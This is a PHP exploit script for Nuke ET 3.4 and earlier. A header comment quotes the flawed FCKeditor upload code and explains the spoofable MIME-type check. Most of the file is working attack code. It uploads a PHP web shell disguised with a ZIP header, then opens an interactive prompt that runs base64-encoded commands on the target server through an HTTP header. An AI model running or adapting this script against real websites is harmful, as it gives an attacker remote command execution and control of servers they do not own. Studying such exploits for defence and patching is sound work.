nukeet-upload.txt

`<?php  
  
/*  
---------------------------------------------------------------  
Nuke ET <= 3.4 (fckeditor) Remote Arbitrary File Upload Exploit  
---------------------------------------------------------------  
  
author...: EgiX  
mail.....: n0b0d13s[at]gmail[dot]com  
  
link.....: http://www.truzone.org/  
  
This PoC was written for educational purpose. Use it at your own risk.  
Author will be not responsible for any damage.  
  
[-] vulnerable code in /nuke/FCKeditor/editor/filemanager/browser/default/connectors/php/commands.php  
  
147. function FileUpload( $resourceType, $currentFolder )  
148. {  
149. $sErrorNumber = '0' ;  
150. $sFileName = '' ;  
151.   
152. if ( isset( $_FILES['NewFile'] ) && !is_null( $_FILES['NewFile']['tmp_name'] ) )  
153. {  
154. $oFile = $_FILES['NewFile'] ;  
155.   
156. // Map the virtual path to the local server path.  
157. $sServerDir = ServerMapFolder( $resourceType, $currentFolder ) ;  
158.   
159. // Get the uploaded file name.  
160. $sFileName = $oFile['name'] ;  
161. $sOriginalFileName = $sFileName ;  
162. // Security fix by truzone 01-15-2006  
163. //$sExtension = substr( $sFileName, ( strrpos($sFileName, '.') + 1 ) ) ;  
164. //$sExtension = strtolower( $sExtension ) ;  
165.   
166. if(extension_loaded("mime_magic")){  
167. $sExtension = mime_content_type($oFile['tmp_name']);  
168. }else{  
169. $sExtension = $oFile['type'];  
170. }  
171. // en of security fix by truzone 01-15-2006  
172. global $Config ;  
173.   
174. $arAllowed = $Config['AllowedExtensions'][$resourceType] ;  
175. $arDenied = $Config['DeniedExtensions'][$resourceType] ;  
  
An attacker might be able to upload arbitrary files containing malicious PHP code due to the code  
near lines 166-170 will check only the MIME type of the upload request, that can be easily spoofed!  
*/  
  
error_reporting(0);  
set_time_limit(0);  
ini_set("default_socket_timeout", 5);  
  
define(STDIN, fopen("php://stdin", "r"));  
  
function http_send($host, $packet)  
{  
$sock = fsockopen($host, 80);  
while (!$sock)  
{  
print "\n[-] No response from {$host}:80 Trying again...";  
$sock = fsockopen($host, 80);  
}  
fputs($sock, $packet);  
while (!feof($sock)) $resp .= fread($sock, 1024);  
fclose($sock);  
return $resp;  
}  
  
function connector_response($html)  
{  
return (preg_match("/OnUploadCompleted\((\d),\"(.*)\"\)/", $html, $match) && in_array($match[1], array(0, 201)));  
}  
  
print "\n+------------------------------------------------------------------+";  
print "\n| Nuke ET <= 3.4 (fckeditor) Arbitrary File Upload Exploit by EgiX |";  
print "\n+------------------------------------------------------------------+\n";  
  
if ($argc < 3)  
{  
print "\nUsage......: php $argv[0] host path";  
print "\nExample....: php $argv[0] localhost /";  
print "\nExample....: php $argv[0] localhost /nukeet/\n";  
die();  
}  
  
$host = $argv[1];  
$path = ereg_replace("(/){2,}", "/", $argv[2]);  
  
$filename = md5(time()).".php";  
$connector = "FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php";  
  
$payload = "--o0oOo0o\r\n";  
$payload .= "Content-Disposition: form-data; name=\"NewFile\"; filename=\"{$filename}\"\r\n";  
$payload .= "Content-Type: application/zip\r\n\r\n";  
$payload .= "PK\003\004<?php error_reporting(0);print(\"_code_\\n\");passthru(base64_decode(\$_SERVER[HTTP_CMD])); ?>\n";  
$payload .= "--o0oOo0o--\r\n";  
  
$packet = "POST {$path}{$connector}?Command=FileUpload&Type=File&CurrentFolder=%2f HTTP/1.0\r\n";  
$packet .= "Host: {$host}\r\n";  
$packet .= "Content-Length: ".strlen($payload)."\r\n";  
$packet .= "Content-Type: multipart/form-data; boundary=o0oOo0o\r\n";  
$packet .= "Connection: close\r\n\r\n";  
$packet .= $payload;  
  
if (!connector_response(http_send($host, $packet))) die("\n[-] Upload failed!\n");  
else print "\n[-] Shell uploaded to {$filename}...starting it!\n";  
  
$path .= str_repeat("../", substr_count($path, "/") - 1) . "UserFiles/File/"; // come back to the document root   
  
$packet = "GET {$path}{$filename} HTTP/1.0\r\n";  
$packet .= "Host: {$host}\r\n";  
$packet .= "Cmd: %s\r\n";  
$packet .= "Connection: close\r\n\r\n";  
  
while(1)  
{  
print "\nnukeet-shell# ";  
$cmd = trim(fgets(STDIN));  
if ($cmd != "exit")  
{  
$response = http_send($host, sprintf($packet, base64_encode($cmd)));  
preg_match("/_code_/", $response) ? print array_pop(explode("_code_", $response)) : die("\n[-] Exploit failed...\n");  
}  
else break;  
}  
  
?>  
  
`